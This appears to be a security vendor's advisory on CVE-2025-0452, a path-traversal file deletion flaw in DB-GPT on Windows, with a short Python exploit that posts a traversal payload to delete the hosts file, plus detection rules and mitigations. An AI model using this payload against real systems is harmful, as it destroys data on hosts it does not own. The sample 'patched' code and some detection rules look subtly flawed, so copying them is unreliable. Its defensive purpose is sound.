CVE-2025-0452

Executive Summary

CVE-2025-0452 is a critical arbitrary file deletion vulnerability affecting the eosphoros-ai/DB-GPT application on Windows systems. The flaw resides in the /v1/agent/hub/update endpoint, where the application fails to properly sanitize the plugin_repo_name parameter, allowing an attacker to inject path traversal sequences (specifically the / character) to delete arbitrary files on the host system. With a CVSS score of 8.2, this vulnerability can lead to severe data loss and system instability. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.

Supply Chain & Package Security

This vulnerability affects the DB-GPT Python package distributed via PyPI. Organizations using this package should immediately assess their exposure, as the vulnerable endpoint is exposed by default. The lack of a patch means that supply chain security measures, such as Software Bill of Materials (SBOM) scanning and runtime application self-protection (RASP), are critical for detection and mitigation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – Arbitrary file deletion can corrupt critical system files.
• Availability (A): High (H) – Deletion of system files can cause denial of service.

Threat Level: Critical. The combination of network exploitability, low complexity, and high impact on integrity and availability makes this a high-priority vulnerability for Windows-based deployments.

Deep Dive & Mechanics

The vulnerability exists in the /v1/agent/hub/update endpoint of DB-GPT. The application accepts a plugin_repo_name parameter, which is used to construct a file path for plugin updates. On Windows systems, the / character is a valid path separator (e.g., C:/Users/). The application fails to filter or sanitize this character, allowing an attacker to inject path traversal sequences.

Attack Flow:

1. The attacker sends a POST request to /v1/agent/hub/update with a crafted plugin_repo_name value.
2. The value includes path traversal sequences like ../../../windows/system32/config/SAM or ../../../../Program Files/DB-GPT/config.yaml.
3. The application constructs a file path using the unsanitized input and attempts to delete the file during the update process.
4. The file is deleted without proper authorization checks.

Root Cause: The application uses the os.path.join or similar function on Windows without normalizing or validating the input path. The / character is not filtered, allowing absolute path injection.

Vulnerable vs. Patched Code

Vulnerable Code (Python-like pseudocode):

@app.post('/v1/agent/hub/update')
async def update_agent(plugin_repo_name: str):
    # Vulnerable: No sanitization of plugin_repo_name
    file_path = os.path.join(PLUGIN_DIR, plugin_repo_name)
    if os.path.exists(file_path):
        os.remove(file_path)
        return {"status": "deleted"}
    return {"error": "not found"}

Patched Code (Hypothetical fix):

import re

@app.post('/v1/agent/hub/update')
async def update_agent(plugin_repo_name: str):
    # Sanitize: Remove path separators and traversal sequences
    sanitized_name = re.sub(r'[\\/]', '', plugin_repo_name)
    sanitized_name = re.sub(r'\.\.', '', sanitized_name)
    file_path = os.path.join(PLUGIN_DIR, sanitized_name)
    # Ensure the path is within the allowed directory
    if not file_path.startswith(os.path.abspath(PLUGIN_DIR)):
        return {"error": "invalid path"}
    if os.path.exists(file_path):
        os.remove(file_path)
        return {"status": "deleted"}
    return {"error": "not found"}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running DB-GPT on Windows.
• Network access to the /v1/agent/hub/update endpoint.

Exploit Steps:

1. Identify the target IP and port (default: 5000).
2. Send a crafted POST request to delete a critical file (e.g., boot.ini or a configuration file).

Example Exploit (Python):

import requests

target = "http://192.168.1.100:5000"
payload = {"plugin_repo_name": "../../../../Windows/System32/drivers/etc/hosts"}
response = requests.post(f"{target}/v1/agent/hub/update", data=payload)
print(response.text)

Expected Output: The server returns {"status": "deleted"} and the target file is removed.

Blue Team (Detection & Mitigation)

Detection Steps:

1. Monitor logs for requests to /v1/agent/hub/update with suspicious plugin_repo_name values containing ../ or /.
2. Use file integrity monitoring (FIM) to detect unexpected deletions in sensitive directories.
3. Deploy a Web Application Firewall (WAF) rule to block path traversal patterns.

Mitigation Steps:

1. If possible, disable the /v1/agent/hub/update endpoint until a patch is available.
2. Implement input validation to reject any plugin_repo_name containing path separators.
3. Run DB-GPT in a container with restricted file system access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /v1/agent/hub/update with plugin_repo_name containing ../ or /.
  • Unusual outbound connections from the DB-GPT server.
• File System IOCs:
  • Unexpected deletion of files in C:\Windows\System32\, C:\Program Files\, or application directories.
  • Presence of log entries showing os.remove calls with path traversal patterns.
• Log IOCs:
  • Application logs showing "status": "deleted" for files outside the plugin directory.

Detection Engineering

YARA Rule

rule CVE_2025_0452_Arbitrary_File_Deletion {
    meta:
        description = "Detects exploitation attempts of CVE-2025-0452 in DB-GPT logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0452"
    strings:
        $s1 = "/v1/agent/hub/update" ascii wide nocase
        $s2 = "plugin_repo_name" ascii wide nocase
        $s3 = ".." ascii wide
        $s4 = "/" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-0452 DB-GPT Arbitrary File Deletion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with path traversal patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/agent/hub/update'
        cs-uri-query|contains:
            - 'plugin_repo_name=..'
            - 'plugin_repo_name=/'
    condition: selection
falsepositives:
    - Legitimate plugin names containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0452 DB-GPT Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/v1/agent/hub/update"; http_uri; content:"plugin_repo_name"; http_client_body; pcre:"/plugin_repo_name=[^&]*(\.\.|\/)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If possible, block access to /v1/agent/hub/update via a reverse proxy or firewall.
2. Input validation: Implement strict input validation to reject any plugin_repo_name containing ../, ..\\, or /.
3. Least privilege: Run DB-GPT with minimal file system permissions, restricting write/delete access to only necessary directories.

Long-term Fix:

• Apply the official patch once released by eosphoros-ai.
• Consider migrating to a Linux-based deployment where the / character is less likely to cause path traversal issues (though still possible).

Workaround:

• Use a Web Application Firewall (WAF) with rules to block path traversal patterns in POST parameters.

Valters IT
Securing Digital Frontiers